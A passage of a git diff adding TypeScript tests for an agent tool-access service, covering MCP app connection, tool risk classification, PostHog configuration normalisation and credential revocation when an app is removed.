}, + }, { actorType: "user", actorId: "board" }); + + expect(fetchMock).toHaveBeenCalledWith( + "https://mcp.posthog.com/mcp?readonly=true&features=insights%2Cerror_tracking&tools=query_insight&mode=tools", + expect.objectContaining({ + headers: expect.objectContaining({ + Authorization: "Bearer phx_test-secret", + "x-posthog-project-id": "12345", + }), + }), + ); + expect(result.connection).toMatchObject({ + authKind: "api_key", + config: { + sourceTemplateKey: "posthog", + connectionMethodKey: "mcp-api-key", + methodConfig: { + projectId: "12345", + readOnly: true, + features: "insights,error_tracking", + tools: "query_insight", + mode: "tools", + }, + safeDefault: true, + }, + }); + expect(JSON.stringify(result.connection.config)).not.toContain("phx_test-secret"); + expect(result.catalog).toEqual(expect.arrayContaining([ + expect.objectContaining({ toolName: "query_insight", riskLevel: "read", status: "active" }), + expect.objectContaining({ toolName: "delete_feature_flag", riskLevel: "destructive", status: "quarantined" }), + expect.objectContaining({ toolName: "brand_new_tool", riskLevel: "write", status: "quarantined" }), + ])); + }); + it("stores approved class-3 credential refs on thin tool connections", async () => { const company = await createCompany(db); const service = toolAccessService(db); @@ -3401,6 +3690,10 @@ describeEmbeddedPostgres("tool access service", () => { grant_types: ["authorization_code", "refresh_token"], response_types: ["code"], token_endpoint_auth_method: "none", + // PAP-17087: Paperclip's callback is a server-side HTTPS endpoint, so + // registration must declare a `web` client rather than let the + // authorization server apply native-client redirect rules. + application_type: "web", }]); fetchMock.mockClear(); @@ -4692,7 +4985,7 @@ describeEmbeddedPostgres("tool access service", () => { expect(connect.connection).toMatchObject({ status: "draft", enabled: false, - config: { url: "https://links.example.test/actions", quarantineNewEntries: true }, + config: { url: "https://links.example.test/actions", quarantineNewEntries: false }, credentialSecretRefs: [ expect.objectContaining({ configPath: "credentials.authorization", @@ -5071,15 +5364,16 @@ describeEmbeddedPostgres("tool access service", () => { runtimeConfig: {}, }).returning(); - const connect = await service.connectGalleryApp(company.id, { - galleryKey: "zapier", - name: "Zapier workspace", - credentialValues: { "credentials.authorization": "zap-secret" }, - }, { actorType: "user", actorId: "board" }); + const connect = await withGalleryServerUrl("zapier", PUBLIC_MCP_FIXTURE_URL, () => + service.connectGalleryApp(company.id, { + galleryKey: "zapier", + name: "Zapier workspace", + credentialValues: { "credentials.authorization": "zap-secret" }, + }, { actorType: "user", actorId: "board" })); expect(fetchMock).toHaveBeenCalledTimes(2); expect(fetchMock).toHaveBeenCalledWith( - "https://mcp.zapier.com/api/mcp", + PUBLIC_MCP_FIXTURE_URL, expect.objectContaining({ headers: expect.objectContaining({ Authorization: "Bearer zap-secret" }), }), @@ -5087,7 +5381,7 @@ describeEmbeddedPostgres("tool access service", () => { expect(connect.connection).toMatchObject({ status: "draft", enabled: false, - config: expect.objectContaining({ sourceTemplateKey: "zapier", quarantineNewEntries: true }), + config: expect.objectContaining({ sourceTemplateKey: "zapier", quarantineNewEntries: false }), credentialSecretRefs: [ expect.objectContaining({ configPath: "credentials.authorization", @@ -5167,6 +5461,10 @@ describeEmbeddedPostgres("tool access service", () => { ]), ); + await db.update(toolConnections).set({ + config: { ...connect.connection.config, quarantineNewEntries: true }, + }).where(eq(toolConnections.id, connect.connectionId)); + fetchMock.mockResolvedValueOnce(mcpHttpResponse({ jsonrpc: "2.0", id: "paperclip-catalog-refresh", @@ -5265,6 +5563,65 @@ describeEmbeddedPostgres("tool access service", () => { expect(attentionAfterReview.apps).toEqual([]); }); + it("enables newly discovered tools after setup while preserving tools explicitly turned off", async () => { + const company = await createCompany(db); + const service = toolAccessService(db); + const fetchMock = mockToolsList([ + { name: "list_zaps", annotations: { readOnlyHint: true } }, + { name: "update_zap", annotations: { readOnlyHint: false } }, + ]); + + const connect = await withGalleryServerUrl("zapier", PUBLIC_MCP_FIXTURE_URL, () => + service.connectGalleryApp(company.id, { + galleryKey: "zapier", + credentialValues: { "credentials.authorization": "zap-secret" }, + }, { actorType: "user", actorId: "board" })); + const listEntry = connect.catalog.find((entry) => entry.toolName === "list_zaps")!; + const updateEntry = connect.catalog.find((entry) => entry.toolName === "update_zap")!; + await service.finishGalleryAppConnection(company.id, connect.connectionId, { + enabledCatalogEntryIds: [listEntry.id], + askFirstCatalogEntryIds: [], + access: "all_agents", + }, { actorType: "user", actorId: "board" }); + const [defaultProfile] = await db.select().from(toolProfiles).where(eq( + toolProfiles.profileKey, + `app:${connect.connectionId}`, + )); + expect(defaultProfile).toBeTruthy(); + fetchMock.mockResolvedValueOnce(mcpHttpResponse({ + jsonrpc: "2.0", + id: "paperclip-catalog-refresh", + result: { + tools: [ + { name: "list_zaps", annotations: { readOnlyHint: true } }, + { name: "update_zap", annotations: { readOnlyHint: false } }, + { name: "create_zap", annotations: { readOnlyHint: false } }, + ], + }, + })); + + const refresh = await service.refreshCatalog(connect.connectionId, { actorType: "user", actorId: "board" }); + + expect(refresh.quarantinedCount).toBe(0); + expect(refresh.catalog).toEqual(expect.arrayContaining([ + expect.objectContaining({ toolName: "list_zaps", status: "active" }), + expect.objectContaining({ toolName: "update_zap", status: "active" }), + expect.objectContaining({ toolName: "create_zap", status: "active" }), + ])); + const createEntry = refresh.catalog.find((entry) => entry.toolName === "create_zap")!; + const profileEntries = await db.select().from(toolProfileEntries).where(eq( + toolProfileEntries.profileId, + defaultProfile!.id, + )); + expect(profileEntries).toEqual(expect.arrayContaining([ + expect.objectContaining({ catalogEntryId: listEntry.id }), + expect.objectContaining({ catalogEntryId: createEntry.id }), + ])); + expect(profileEntries).not.toEqual(expect.arrayContaining([ + expect.objectContaining({ catalogEntryId: updateEntry.id }), + ])); + }); + it("resolves Notion reads as allowed, mutations as ask-first, and denies cross-company use", async () => { const company = await createCompany(db); const otherCompany = await createCompany(db); @@ -5312,6 +5669,20 @@ describeEmbeddedPostgres("tool access service", () => { expect.objectContaining({ id: duplicateEntry.id, riskLevel: "write", isWrite: true }), ])); + // A narrower profile must not make an app shared with "All agents" + // disappear. App action selection is an additive capability assignment; + // ordinary profile precedence still governs non-app defaults. + const existingAgentProfile = await service.createProfile(company.id, { + profileKey: `existing-agent-profile-${randomUUID()}`, + name: "Existing agent defaults", + defaultAction: "deny", + }); + await service.bindProfile( + existingAgentProfile.id, + { targetType: "agent", targetId: agent.id }, + { actorType: "user", actorId: "board" }, + ); + await expect(service.finishGalleryAppConnection(otherCompany.id, connection.id, { enabledCatalogEntryIds: [fetchEntry.id], askFirstCatalogEntryIds: [], @@ -6968,11 +7339,14 @@ describeEmbeddedPostgres("tool access service", () => { expect(unusedRow!.lastUsedAt).toBeNull(); }); - it("syncs installs, auto-extends agent access, and exposes install state", async () => { + it("syncs installs without widening action access or calling the remote tool", async () => { const company = await createCompany(db); const agent = await createAgent(db, company.id); const { connection } = await createRemoteToolFixture(db, company.id); - const app = createRouteApp(db); + const fetchMock = vi.spyOn(globalThis, "fetch"); + const app = createRouteApp(db, undefined, createToolGatewayService(db, { + toolActionSigningSecret: "test-secret", + })); const put = await request(app) .put(`/api/tool-connections/${connection.id}/installs`) @@ -6999,7 +7373,17 @@ describeEmbeddedPostgres("tool access service", () => { const effective = await toolAccessService(db).getEffectiveProfilesForAgent(company.id, agent.id); expect(effective.installedConnections.map((item) => item.id)).toEqual([connection.id]); - expect(effective.allowedTools.some((tool) => tool.connectionId === connection.id)).toBe(true); + expect(effective.allowedTools.some((tool) => tool.connectionId === connection.id)).toBe(false); + + const deniedCall = await request(app) + .post(`/api/tool-connections/${connection.id}/test-calls`) + .send({ agentId: agent.id, toolName: "send_email", parameters: { to: "a@example.com" } }) + .expect(200); + expect(deniedCall.body).toMatchObject({ + decision: "off", + error: { reasonCode: "deny_default" }, + }); + expect(fetchMock).not.toHaveBeenCalled(); const get = await request(app).get(`/api/tool-connections/${connection.id}`); expect(get.status).toBe(200); @@ -7092,4 +7476,58 @@ describe("classifyRisk", () => { expect(notionRisk("notion-delete-page")).toBe("destructive"); expect(classifyRisk({ name: "move_pages" })).toBe("read"); }); + + it("uses conservative PostHog defaults for unknown and nested-execution tools", () => { + expect(classifyRisk({ name: "query_insight", annotations: { readOnlyHint: true } }, "posthog")).toBe("read"); + expect(classifyRisk({ name: "brand_new_tool" }, "posthog")).toBe("write"); + expect(classifyRisk({ name: "exec" }, "posthog")).toBe("destructive"); + }); +}); + +describe("normalizeConnectionMethodConfig", () => { + const posthog = getConnectableAppDefinition("posthog")!; + const apiKeyMethod = posthog.methods.find((method) => method.key === "mcp-api-key")!; + + it("uses the broad PostHog catalog when optional advanced filters are untouched", () => { + expect(normalizeConnectionMethodConfig(apiKeyMethod, { + projectId: "12345", + })).toEqual({ + values: { + projectId: "12345", + readOnly: false, + mode: "tools", + }, + url: "https://mcp.posthog.com/mcp?mode=tools", + headers: { "x-posthog-project-id": "12345" }, + }); + }); + + it("normalizes and projects PostHog scope without accepting arbitrary config", () => { + expect(normalizeConnectionMethodConfig(apiKeyMethod, { + projectId: "12345", + readOnly: true, + features: "insights, error_tracking\ninsights", + tools: "query_insight", + mode: "tools", + })).toEqual({ + values: { + projectId: "12345", + readOnly: true, + features: "insights,error_tracking", + tools: "query_insight", + mode: "tools", + }, + url: "https://mcp.posthog.com/mcp?readonly=true&features=insights%2Cerror_tracking&tools=query_insight&mode=tools", + headers: { "x-posthog-project-id": "12345" }, + }); + expect(() => normalizeConnectionMethodConfig(apiKeyMethod, { + projectId: "not-a-project", + features: "insights", + })).toThrow("Project ID has an invalid value"); + expect(() => normalizeConnectionMethodConfig(apiKeyMethod, { + projectId: "12345", + features: "insights", + apiKey: "must-not-be-config", + })).toThrow("Unknown connection setting: apiKey"); + }); }); diff --git a/server/src/__tests__/tool-connection-removal.test.ts b/server/src/__tests__/tool-connection-removal.test.ts new file mode 100644 index 0000000000..e85b9ac68f --- /dev/null +++ b/server/src/__tests__/tool-connection-removal.test.ts @@ -0,0 +1,672 @@ +import { randomUUID } from "node:crypto"; +import express from "express"; +import request from "supertest"; +import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; +import { + activityLog, + agents, + authUsers, + companies, + companyMemberships, + companySecretBindings, + companySecrets, + companySecretVersions, + connectionGrants, + connectionTokenIssuances, + createDb, + heartbeatRuns, + issues, + secretAccessEvents, + toolAccessAuditEvents, + toolApplications, + toolCatalogEntries, + toolConnectionInstalls, + toolConnections, + toolGatewaySessions, + toolMcpGateways, + toolMcpGatewayTokens, + toolOauthStates, + toolProfileBindings, + toolProfileEntries, + toolProfiles, + toolRuntimeSlots, +} from "@paperclipai/db"; +import { and, eq } from "drizzle-orm"; +import { + getEmbeddedPostgresTestSupport, + startEmbeddedPostgresTestDatabase, +} from "./helpers/embedded-postgres.js"; +import { toolAccessService } from "../services/tool-access.js"; +import { toolAccessPolicyService } from "../services/tool-access-policy.js"; +import { toolAccessRoutes } from "../routes/tool-access.js"; +import { secretService } from "../services/secrets.js"; +import { localEncryptedProvider } from "../secrets/local-encrypted-provider.js"; +import { errorHandler } from "../middleware/index.js"; + +const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport(); +const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip; + +/** + * PAP-17119 — "Remove app" is a credential revocation boundary, not a status + * flip. Everything here asks the same question from a different angle: after a + * removal, is there any surviving row that still resolves a credential or still + * grants an agent a way to call the app? + * + * The connection is built through the real connect path where that is possible, + * so the tests fail if `connectGalleryApp` ever starts writing credential state + * somewhere the teardown does not look. + */ + +// A public IP literal, matching the generic MCP suite: remote endpoints are +// DNS-pinned even in local/private mode (PAP-17098), so a made-up hostname would +// fail resolution before it ever reached this fixture. +const MCP_ORIGIN = "https://203.0.113.10"; +const MCP_URL = `${MCP_ORIGIN}/mcp`; + +const FIXTURE_TOOLS = [ + { name: "list_things", description: "List things", annotations: { readOnlyHint: true } }, + { name: "delete_thing", description: "Delete a thing", annotations: { readOnlyHint: false, destructiveHint: true } }, +]; + +function jsonResponse(payload: unknown, status = 200): Response { + const body = JSON.stringify(payload); + return { + ok: status >= 200 && status < 300, + status, + headers: { + get: (name: string) => (name.toLowerCase() === "content-type" ? "application/json" : null), + }, + text: async () => body, + json: async () => payload, + } as unknown as Response; +} + +function headerRecord(init: RequestInit | undefined): Record { + const raw = init?.headers; + if (!raw) return {}; + if (raw instanceof Headers) return Object.fromEntries(raw.entries()); + if (Array.isArray(raw)) return Object.fromEntries(raw as Array<[string, string]>); + return Object.fromEntries( + Object.entries(raw as Record).map(([key, value]) => [key.toLowerCase(), value]), + ); +} + +/** + * The narrowest endpoint that satisfies a header-authenticated connect: it lists + * tools when the expected header arrives and 401s otherwise, which is all the + * catalog refresh and health check need. + */ +function installMcpFixture(requiredHeader: { name: string; value: string }) { + return vi.spyOn(globalThis, "fetch").mockImplementation(async (url, init) => { + const href = String(url); + const method = (init?.method ?? "GET").toUpperCase(); + const headers = headerRecord(init); + if (href === MCP_URL && method === "POST") { + if (headers[requiredHeader.name.toLowerCase()] !== requiredHeader.value) { + return jsonResponse({ error: "unauthorized" }, 401); + } + return jsonResponse({ jsonrpc: "2.0", id: "paperclip-catalog-refresh", result: { tools: FIXTURE_TOOLS } }); + } + return jsonResponse({ error: "not_found" }, 404); + }); +} + +async function createCompany(db: ReturnType) { + return db + .insert(companies) + .values({ + name: `Removal ${randomUUID()}`, + issuePrefix: `RM${randomUUID().slice(0, 6).toUpperCase()}`, + }) + .returning() + .then((rows) => rows[0]!); +} + +async function createAgent(db: ReturnType, companyId: string) { + return db + .insert(agents) + .values({ + companyId, + name: `Removal agent ${randomUUID()}`, + role: "engineer", + status: "active", + adapterType: "process", + adapterConfig: {}, + runtimeConfig: {}, + }) + .returning() + .then((rows) => rows[0]!); +} + +function createRouteApp(db: ReturnType) { + const app = express(); + app.use(express.json()); + app.use((req, _res, next) => { + req.actor = { + type: "board", + userId: "board-user", + userName: "Board User", + userEmail: null, + isInstanceAdmin: true, + source: "local_implicit", + }; + next(); + }); + app.use("/api", toolAccessRoutes(db)); + app.use(errorHandler); + return app; +} + +describeEmbeddedPostgres("tool connection removal", () => { + let db!: ReturnType; + let tempDb: Awaited> | null = null; + + const HEADER = { name: "X-Api-Key", value: "fixture-secret-value" }; + + beforeAll(async () => { + tempDb = await startEmbeddedPostgresTestDatabase("paperclip-removal-"); + db = createDb(tempDb.connectionString); + }, 20_000); + + afterEach(async () => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); + await db.delete(toolGatewaySessions); + await db.delete(toolMcpGatewayTokens); + await db.delete(toolMcpGateways); + await db.delete(connectionTokenIssuances); + await db.delete(connectionGrants); + await db.delete(toolOauthStates); + await db.delete(secretAccessEvents); + await db.delete(companySecretBindings); + await db.delete(companySecretVersions); + await db.delete(companySecrets); + await db.delete(activityLog); + await db.delete(toolAccessAuditEvents); + await db.delete(toolRuntimeSlots); + await db.delete(toolConnectionInstalls); + await db.delete(toolProfileBindings); + await db.delete(toolProfileEntries); + await db.delete(toolProfiles); + await db.delete(toolCatalogEntries); + await db.delete(toolConnections); + await db.delete(toolApplications); + await db.delete(heartbeatRuns); + await db.delete(issues); + await db.delete(companyMemberships); + await db.delete(agents); + await db.delete(companies); + await db.delete(authUsers); + }); + + afterAll(async () => { + await tempDb?.cleanup(); + }); + + /** Connect a header-authenticated app and finish the wizard for one agent. */ + async function connectHeaderApp(companyId: string, agentId: string) { + const service = toolAccessService(db); + const connected = await service.connectGalleryApp(companyId, { + link: MCP_URL, + name: `Removal fixture ${randomUUID().slice(0, 8)}`, + credentialValues: { [`headers.${HEADER.name}`]: HEADER.value }, + }); + const readEntry = connected.catalog.find((entry) => entry.toolName === "list_things")!; + const finished = await service.finishGalleryAppConnection(companyId, connected.connectionId, { + enabledCatalogEntryIds: [readEntry.id], + askFirstCatalogEntryIds: [], + access: { agentIds: [agentId] }, + }, { actorType: "user", actorId: "board-user" }); + await service.putConnectionInstalls(connected.connectionId, { + installs: [{ targetType: "agent", targetId: agentId, enabled: true }], + }, { actorType: "user", actorId: "board-user" }); + return { service, connectionId: connected.connectionId, readEntry, profile: finished.profile }; + } + + it("revokes the custom-header credential and every access path it granted", async () => { + installMcpFixture(HEADER); + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const policy = toolAccessPolicyService(db); + const { service, connectionId, readEntry, profile } = await connectHeaderApp(company.id, agent.id); + + const [before] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + // One pasted header value is one secret, referenced twice: once as a header + // credential ref and once as a secret ref. + const secretIds = [...new Set([ + ...before!.credentialRefs.map((ref) => ref.secretId), + ...before!.credentialSecretRefs.map((ref) => ref.secretId), + ])]; + expect(secretIds).toHaveLength(1); + expect(before!.credentialRefs).toHaveLength(1); + expect(before!.credentialSecretRefs).toHaveLength(1); + // The credential really does resolve before removal, so the assertions after + // it are measuring a change rather than a permanent failure. + await expect(secretService(db).resolveSecretValue(company.id, secretIds[0]!, "latest", { + consumerType: "tool_connection", + consumerId: connectionId, + configPath: `credentials.headers.${HEADER.name}`, + actorType: "system", + })).resolves.toBe(HEADER.value); + await expect(policy.decide({ + companyId: company.id, + actor: { actorType: "agent", actorId: agent.id, agentId: agent.id }, + request: { connectionId, catalogEntryId: readEntry.id, toolName: "list_things" }, + })).resolves.toMatchObject({ allowed: true }); + + const removed = await service.archiveConnection(connectionId, company.id, { + actorType: "user", + actorId: "board-user", + }); + + expect(removed.connection).toMatchObject({ status: "archived", enabled: false }); + expect(removed.removal).toMatchObject({ + secretsRevoked: secretIds.length, + secretsRetainedShared: 0, + appProfile: "deleted", + installsRemoved: 1, + applicationArchived: true, + }); + expect(removed.removal.credentialRefsCleared).toBeGreaterThan(0); + expect(removed.removal.secretBindingsRemoved).toBeGreaterThan(0); + expect(removed.removal.catalogEntriesMarkedRemoved).toBe(FIXTURE_TOOLS.length); + + // No secret row, no version row, nothing resolvable. + for (const secretId of secretIds) { + expect(await db.select().from(companySecrets).where(eq(companySecrets.id, secretId))).toEqual([]); + expect(await db.select().from(companySecretVersions).where(eq(companySecretVersions.secretId, secretId))).toEqual([]); + await expect(secretService(db).resolveSecretValue(company.id, secretId, "latest", { + consumerType: "tool_connection", + consumerId: connectionId, + configPath: `credentials.headers.${HEADER.name}`, + actorType: "system", + })).rejects.toMatchObject({ status: 404 }); + } + expect(await db.select().from(companySecretBindings).where(and( + eq(companySecretBindings.targetType, "tool_connection"), + eq(companySecretBindings.targetId, connectionId), + ))).toEqual([]); + + // No ref left on the connection to point at a credential. + const [after] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + expect(after!.credentialRefs).toEqual([]); + expect(after!.credentialSecretRefs).toEqual([]); + + // No install, no app-managed profile, no profile entries or bindings. + expect(await db.select().from(toolConnectionInstalls).where(eq(toolConnectionInstalls.connectionId, connectionId))).toEqual([]); + expect(await db.select().from(toolProfiles).where(eq(toolProfiles.profileKey, `app:${connectionId}`))).toEqual([]); + expect(await db.select().from(toolProfileEntries).where(eq(toolProfileEntries.profileId, profile.id))).toEqual([]); + expect(await db.select().from(toolProfileBindings).where(eq(toolProfileBindings.profileId, profile.id))).toEqual([]); + + // Catalog history survives, marked non-executable. + const catalog = await db.select().from(toolCatalogEntries).where(eq(toolCatalogEntries.connectionId, connectionId)); + expect(catalog.length).toBe(FIXTURE_TOOLS.length); + expect(catalog.every((entry) => entry.status === "removed")).toBe(true); + + // And the agent is denied. + await expect(policy.decide({ + companyId: company.id, + actor: { actorType: "agent", actorId: agent.id, agentId: agent.id }, + request: { connectionId, catalogEntryId: readEntry.id, toolName: "list_things" }, + })).resolves.toMatchObject({ allowed: false }); + expect(await service.listConnectionInstalls(connectionId, company.id)).toEqual([]); + }); + + it("revokes OAuth secrets, grant credentials and outstanding authorization state", async () => { + installMcpFixture(HEADER); + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const { service, connectionId } = await connectHeaderApp(company.id, agent.id); + const secrets = secretService(db); + + // Stand in for a completed sign-in: access and refresh tokens as dedicated + // `tool_app.*` secrets, referenced by the connection and by a user grant. + const accessSecret = await secrets.create(company.id, { + name: `Removal access ${randomUUID().slice(0, 8)}`, + key: `tool_app.${randomUUID()}.oauth_access_token`, + provider: "local_encrypted", + value: "oauth-access-token", + }); + const refreshSecret = await secrets.create(company.id, { + name: `Removal refresh ${randomUUID().slice(0, 8)}`, + key: `tool_app.${randomUUID()}.oauth_refresh_token`, + provider: "local_encrypted", + value: "oauth-refresh-token", + }); + const grantSecret = await secrets.create(company.id, { + name: `Removal grant ${randomUUID().slice(0, 8)}`, + key: `tool_app.${randomUUID()}.oauth_access_token`, + provider: "local_encrypted", + value: "grant-access-token", + }); + const [existing] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + const headerSecretIds = existing!.credentialSecretRefs.map((ref) => ref.secretId); + await service.updateConnection(connectionId, { + credentialSecretRefs: [ + ...existing!.credentialSecretRefs, + { secretId: accessSecret.id, versionSelector: "latest", configPath: "oauth.access_token", required: true, label: "OAuth access token" }, + { secretId: refreshSecret.id, versionSelector: "latest", configPath: "oauth.refresh_token", required: false, label: "OAuth refresh token" }, + ], + }); + const [grant] = await db.insert(connectionGrants).values({ + companyId: company.id, + connectionId, + kind: "user", + subjectUserId: "user-1", + credentialSecretRefs: [ + { secretId: grantSecret.id, versionSelector: "latest", configPath: "oauth.access_token", required: true, label: "OAuth access token" }, + ], + status: "active", + }).returning(); + await db.insert(toolOauthStates).values({ + state: `state-${randomUUID()}`, + companyId: company.id, + connectionId, + codeVerifier: "verifier", + expiresAt: new Date(Date.now() + 600_000), + }); + await db.insert(connectionTokenIssuances).values({ + companyId: company.id, + connectionId, + agentId: agent.id, + path: "oauth_access", + outcome: "success", + tokenHash: "a".repeat(64), + expiresAt: new Date(Date.now() + 600_000), + }); + + const removed = await service.archiveConnection(connectionId, company.id); + + expect(removed.removal).toMatchObject({ + secretsRevoked: headerSecretIds.length + 3, + secretsRetainedShared: 0, + grantsRevoked: 1, + oauthStatesDiscarded: 1, + tokenIssuanceHashesCleared: 1, + }); + for (const secretId of [accessSecret.id, refreshSecret.id, grantSecret.id, ...headerSecretIds]) { + expect(await db.select().from(companySecrets).where(eq(companySecrets.id, secretId))).toEqual([]); + } + const [grantAfter] = await db.select().from(connectionGrants).where(eq(connectionGrants.id, grant!.id)); + expect(grantAfter).toMatchObject({ status: "revoked", isDefault: false }); + expect(grantAfter!.revokedAt).not.toBeNull(); + expect(grantAfter!.credentialSecretRefs).toEqual([]); + expect(await db.select().from(toolOauthStates).where(eq(toolOauthStates.connectionId, connectionId))).toEqual([]); + const [issuance] = await db.select().from(connectionTokenIssuances).where(eq(connectionTokenIssuances.connectionId, connectionId)); + expect(issuance!.tokenHash).toBeNull(); + // The ledger row itself is history and stays. + expect(issuance!.path).toBe("oauth_access"); + }); + + it("leaves another consumer's credential in place", async () => { + installMcpFixture(HEADER); + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const { service, connectionId } = await connectHeaderApp(company.id, agent.id); + const secrets = secretService(db); + + // Two secrets removal must not destroy: one the operator manages by hand + // (outside the `tool_app.` namespace), and one dedicated-looking secret a + // second connection also binds. + const operatorSecret = await secrets.create(company.id, { + name: `Operator managed ${randomUUID().slice(0, 8)}`, + key: `shared_api_key_${randomUUID().slice(0, 8)}`, + provider: "local_encrypted", + value: "operator-managed-value", + }); + const alsoUsedSecret = await secrets.create(company.id, { + name: `Shared app secret ${randomUUID().slice(0, 8)}`, + key: `tool_app.${randomUUID()}.headers_x_shared`, + provider: "local_encrypted", + value: "shared-app-value", + }); + const [existing] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + await service.updateConnection(connectionId, { + credentialSecretRefs: [ + ...existing!.credentialSecretRefs, + { secretId: operatorSecret.id, versionSelector: "latest", configPath: "credentials.operator", required: false, label: "Operator key" }, + { secretId: alsoUsedSecret.id, versionSelector: "latest", configPath: "credentials.shared", required: false, label: "Shared key" }, + ], + }); + + // A second connection referencing the same secret is the other consumer. + const [otherApplication] = await db.insert(toolApplications).values({ + companyId: company.id, + applicationKey: `other:${randomUUID()}`, + name: `Other app ${randomUUID().slice(0, 8)}`, + type: "mcp_http", + status: "active", + }).returning(); + const otherConnection = await service.createConnection(company.id, { + applicationId: otherApplication!.id, + name: `Other connection ${randomUUID().slice(0, 8)}`, + transport: "mcp_remote", + config: { url: MCP_URL }, + credentialSecretRefs: [ + { secretId: alsoUsedSecret.id, versionSelector: "latest", configPath: "credentials.shared", required: false, label: "Shared key" }, + ], + }); + + const removed = await service.archiveConnection(connectionId, company.id); + + expect(removed.removal.secretsRetainedShared).toBe(2); + for (const secretId of [operatorSecret.id, alsoUsedSecret.id]) { + const [row] = await db.select().from(companySecrets).where(eq(companySecrets.id, secretId)); + expect(row).toBeTruthy(); + expect(row!.status).not.toBe("deleted"); + } + // The other consumer can still resolve its credential. + await expect(secretService(db).resolveSecretValue(company.id, alsoUsedSecret.id, "latest", { + consumerType: "tool_connection", + consumerId: otherConnection.id, + configPath: "credentials.shared", + actorType: "system", + })).resolves.toBe("shared-app-value"); + // Its binding survives; the removed connection's does not. + expect(await db.select().from(companySecretBindings).where(and( + eq(companySecretBindings.targetType, "tool_connection"), + eq(companySecretBindings.targetId, connectionId), + ))).toEqual([]); + expect((await db.select().from(companySecretBindings).where(and( + eq(companySecretBindings.targetType, "tool_connection"), + eq(companySecretBindings.targetId, otherConnection.id), + ))).length).toBeGreaterThan(0); + // And the removed connection no longer points at either of them. + const [after] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + expect(after!.credentialSecretRefs).toEqual([]); + }); + + it("fails closed and stays resumable when the secret provider errors", async () => { + installMcpFixture(HEADER); + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const { service, connectionId, readEntry } = await connectHeaderApp(company.id, agent.id); + const policy = toolAccessPolicyService(db); + + const [before] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + const secretIds = before!.credentialSecretRefs.map((ref) => ref.secretId); + expect(secretIds.length).toBeGreaterThan(0); + + // Break provider deletion for the first attempt only. The registry hands out + // this very object, so patching the method is enough. + let failures = 0; + const spy = vi.spyOn(localEncryptedProvider, "deleteOrArchive").mockImplementation(async () => { + failures += 1; + throw new Error("provider unavailable"); + }); + + await expect(service.archiveConnection(connectionId, company.id)).rejects.toThrow("provider unavailable"); + expect(failures).toBe(1); + + // Failed closed: the app is already undispatchable and the credential is + // already unresolvable, even though the provider copy survives. + const [midway] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + expect(midway).toMatchObject({ status: "archived", enabled: false }); + expect(await db.select().from(toolConnectionInstalls).where(eq(toolConnectionInstalls.connectionId, connectionId))).toEqual([]); + expect(await db.select().from(toolProfiles).where(eq(toolProfiles.profileKey, `app:${connectionId}`))).toEqual([]); + await expect(policy.decide({ + companyId: company.id, + actor: { actorType: "agent", actorId: agent.id, agentId: agent.id }, + request: { connectionId, catalogEntryId: readEntry.id, toolName: "list_things" }, + })).resolves.toMatchObject({ allowed: false }); + await expect(secretService(db).resolveSecretValue(company.id, secretIds[0]!, "latest", { + consumerType: "tool_connection", + consumerId: connectionId, + configPath: `credentials.headers.${HEADER.name}`, + actorType: "system", + })).rejects.toMatchObject({ status: 404 }); + // The ref survives the failure on purpose: it is the only pointer a retry + // has to the secret it still has to revoke. + expect(midway!.credentialSecretRefs.length).toBeGreaterThan(0); + + // Retrying the same removal finishes the job. + spy.mockRestore(); + const removed = await service.archiveConnection(connectionId, company.id); + expect(removed.removal.secretsRevoked).toBe(secretIds.length); + expect(removed.removal.secretsRetainedShared).toBe(0); + for (const secretId of secretIds) { + expect(await db.select().from(companySecrets).where(eq(companySecrets.id, secretId))).toEqual([]); + } + const [after] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + expect(after!.credentialSecretRefs).toEqual([]); + + // A third removal is a no-op that still succeeds. + const again = await service.archiveConnection(connectionId, company.id); + expect(again.removal).toMatchObject({ + secretsRevoked: 0, + secretsRetainedShared: 0, + installsRemoved: 0, + appProfile: "absent", + grantsRevoked: 0, + }); + }); + + it("archives the app profile and revokes gateway tokens when a gateway still points at it", async () => { + installMcpFixture(HEADER); + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const { service, connectionId, profile } = await connectHeaderApp(company.id, agent.id); + + const [gateway] = await db.insert(toolMcpGateways).values({ + companyId: company.id, + name: `Gateway ${randomUUID().slice(0, 8)}`, + slug: `gw-${randomUUID().slice(0, 8)}`, + profileId: profile.id, + status: "active", + }).returning(); + const [token] = await db.insert(toolMcpGatewayTokens).values({ + companyId: company.id, + gatewayId: gateway!.id, + name: "client", + tokenHash: randomUUID().replace(/-/g, "").padEnd(64, "0"), + }).returning(); + + const removed = await service.archiveConnection(connectionId, company.id); + + expect(removed.removal).toMatchObject({ + appProfile: "archived", + gatewayTokensRevoked: 1, + }); + const [profileAfter] = await db.select().from(toolProfiles).where(eq(toolProfiles.id, profile.id)); + // The row survives only because the gateway foreign key forbids deleting it; + // a non-active profile with no entries is what the policy engine ignores. + expect(profileAfter).toMatchObject({ status: "archived", defaultAction: "deny" }); + expect(await db.select().from(toolProfileEntries).where(eq(toolProfileEntries.profileId, profile.id))).toEqual([]); + const [tokenAfter] = await db.select().from(toolMcpGatewayTokens).where(eq(toolMcpGatewayTokens.id, token!.id)); + expect(tokenAfter!.revokedAt).not.toBeNull(); + }); + + it("stops a live local runtime so no process keeps serving the revoked credential", async () => { + installMcpFixture(HEADER); + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const { service, connectionId } = await connectHeaderApp(company.id, agent.id); + const [connection] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + + const [slot] = await db.insert(toolRuntimeSlots).values({ + companyId: company.id, + applicationId: connection!.applicationId, + connectionId, + slotKey: 